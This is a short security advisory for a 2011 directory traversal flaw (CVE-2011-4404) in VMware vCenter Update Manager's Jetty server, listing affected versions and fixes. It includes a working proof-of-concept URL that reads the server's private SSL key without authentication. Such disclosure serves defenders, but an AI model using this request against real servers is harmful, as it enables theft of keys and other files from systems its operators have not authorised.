VMware - Update Manager Directory Traversal







# Exploit Title:VMware Update Manager Directory Traversal
# Date:18/11/2011
# Author: Alexey Sintsov
# Software Link: http://www.vmware.com/
# Version:2.0.2
# Tested on: Windows 2003 / vCenter Update Manager 4.1 U1
# CVE : CVE-2011-4404

DSECRG-11-042 VMware Update Manager - Directory Traversal

Application: VMware Update Manager
Versions Affected: vCenter Update Manager 4.1 prior to Update 2, vCenter Update Manager 4.0 prior to Update 4
Vendor URL: http://vmware.com
Bugs: Directory Traversal File Read
CVE: CVE-2011-4404
CVSS2: 7.8
Exploits: YES
Reported: 06.06.2010
Vendor response: 06.06.2010
Date of Public Advisory: 18.11.2011
Authors: Alexey Sintsov
Digital Security Research Group [DSecRG] (research [at] dsecrg [dot]com)

Directory Traversal vulnerability was found in Jetty web server that is used by VMware Update manager.

Directory Traversal vulnerability was found in Jetty web server that is used by VUM.
With this vulnerability, an non-authenticated attacker can read any file on the server (with rights of the process).

http://<target>:9084/vci/downloads/.\..\..\..\..\..\..\..\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\SSL\rui.key



Fix Information

Vendor make fix for this issue:
Fixed in Update Manager 5.0 Windows not affected
Fixed in Update Manager 4.1 Windows Update 2
Fixed in Update Manager 4.0 Windows Update 4

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